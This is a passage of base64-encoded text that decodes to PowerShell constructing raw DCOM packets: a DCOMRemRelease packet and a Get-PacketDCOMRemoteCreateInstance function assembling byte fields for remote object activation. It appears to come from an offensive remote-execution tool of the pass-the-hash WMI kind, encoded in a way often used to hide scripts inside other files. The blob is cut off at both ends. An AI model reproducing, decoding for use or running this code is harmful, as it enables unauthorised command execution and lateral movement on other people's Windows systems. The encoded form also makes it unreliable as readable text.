bXV0oMHgwNSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1ByaXZhdGVSZWZzMiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9EQ09NUmVtUmVsZWFzZQ0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0RENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY2F1c2FsaXR5X0lELFtTdHJpbmddJHBhY2tldF90YXJnZXQpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRwYWNrZXRfdGFyZ2V0KQ0KICAgIFtCeXRlW11dJHBhY2tldF90YXJnZXRfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3RhcmdldC5MZW5ndGggKyAxKQ0KICAgICRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUgKz0gLDB4MDAgKiAoKFtNYXRoXTo6VHJ1bmNhdGUoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggLyA4ICsgMSkgKiA4KSAtICRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9jbnRkYXRhID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3RhcmdldF91bmljb2RlLkxlbmd0aCArIDcyMCkNCiAgICBbQnl0ZVtdXSRwYWNrZXRfc2l6ZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA2ODApDQogICAgW0J5dGVbXV0kcGFja2V0X3RvdGFsX3NpemUgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfdGFyZ2V0X3VuaWNvZGUuTGVuZ3RoICsgNjY0KQ0KICAgIFtCeXRlW11dJHBhY2tldF9wcml2YXRlX2hlYWRlciA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA0MCkgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgW0J5dGVbXV0kcGFja2V0X3Byb3BlcnR5X2RhdGFfc2l6ZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF90YXJnZXRfdW5pY29kZS5MZW5ndGggKyA1NikNCg0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9EQ09NVmVyc2lvbk1ham9yIixbQnl0ZVtdXSgweDA1LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0RDT01WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDcsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfRENPTUZsYWdzIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9EQ09NUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0RDT01DYXVzYWxpdHlJRCIsJHBhY2tldF9jYXVzYWxpdHlfSUQpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfVW5rbm93bjIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX1Vua25vd24zIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9Vbmtub3duNCIsJHBhY2tldF9jbnRkYXRhKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ250RGF0YSIsJHBhY2tldF9jbnRkYXRhKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzT0JKUkVGU2lnbmF0dXJlIixbQnl0ZVtdXSgweDRkLDB4NDUsMHg0ZiwweDU3KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc09CSlJFRkZsYWdzIixbQnl0ZVtdXSgweDA0LDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc09CSlJFRklJRCIsW0J5dGVbXV0oMHhhMiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZDTFNJRCIsW0J5dGVbXV0oMHgzOCwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZDQkV4dGVuc2lvbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZTaXplIiwkcGFja2V0X3NpemUpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1RvdGFsU2l6ZSIsJHBhY2tldF90b3RhbF9zaXplKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0N1c3RvbUhlYWRlckNvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ3VzdG9tSGVhZGVyUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHhiMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ3VzdG9tSGVhZGVyVG90YWxTaXplIiwkcGFja2V0X3RvdGFsX3NpemUpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0N1c3RvbUhlYWRlckN1c3RvbUhlYWRlclNpemUiLFtCeXRlW11dKDB4YzAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDdXN0b21IZWFkZXJSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Rlc3RpbmF0aW9uQ29udGV4dCIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc051bUFjdGl2YXRpb25Qcm9wZXJ0eVN0cnVjdHMiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJbmZvQ2xzaWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJZFB0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDQsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNOVUxMUG9pbnRlciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJZFB0clByb3BlcnR5U3RydWN0R3VpZCIsW0J5dGVbXV0oMHhiOSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkMiIsW0J5dGVbXV0oMHhhYiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkMyIsW0J5dGVbXV0oMHhhNSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNCIsW0J5dGVbXV0oMHhhNiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNSIsW0J5dGVbXV0oMHhhNCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNiIsW0J5dGVbXV0oMHhhYSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc1NpemVzUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemUiLFtCeXRlW11dKDB4NjgsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemUyIixbQnl0ZVtdXSgweDU4LDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ2xzU2l6ZXNQdHJQcm9wZXJ0eURhdGFTaXplMyIsW0J5dGVbXV0oMHg5MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc1NpemVzUHRyUHJvcGVydHlEYXRhU2l6ZTQiLCRwYWNrZXRfcHJvcGVydHlfZGF0YV9zaXplKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemU1IixbQnl0ZVtdXSgweDIwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ2xzU2l6ZXNQdHJQcm9wZXJ0eURhdGFTaXplNiIsW0J5dGVbXV0oMHgzMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHg1OCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzU2Vzc2lvbklEIixbQnl0ZVtdXSgweGZmLDB4ZmYsMHhmZiwweGZmKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzUmVtb3RlVGhpc1Nlc3Npb25JRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc0NsaWVudEltcGVyc29uYXRpbmciLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNQYXJ0aXRpb25JRFByZXNlbnQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNEZWZhdWx0QXV0aG5MZXZlbCIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc1BhcnRpdGlvbkd1aWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNQcm9jZXNzUmVxdWVzdEZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzT3JpZ2luYWxDbGFzc0NvbnRleHQiLFtCeXRlW11dKDB4MTQsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNGbGFncyIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNVbnVzZWRCdWZmZXIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25JbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHg0OCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25JbmZvSW5zdGFudGlhdGVkT2JqZWN0Q2xzSWQiLFtCeXRlW11dKDB4NWUsMHhmMCwweGMzLDB4OGIsMHg2YiwweGQ4LDB4ZDAsMHgxMSwweGEwLDB4NzUsMHgwMCwweGMwLDB4NGYsMHhiNiwweDg4LDB4MjApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9DbGFzc0NvbnRleHQiLFtCeXRlW11dKDB4MTQsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0Z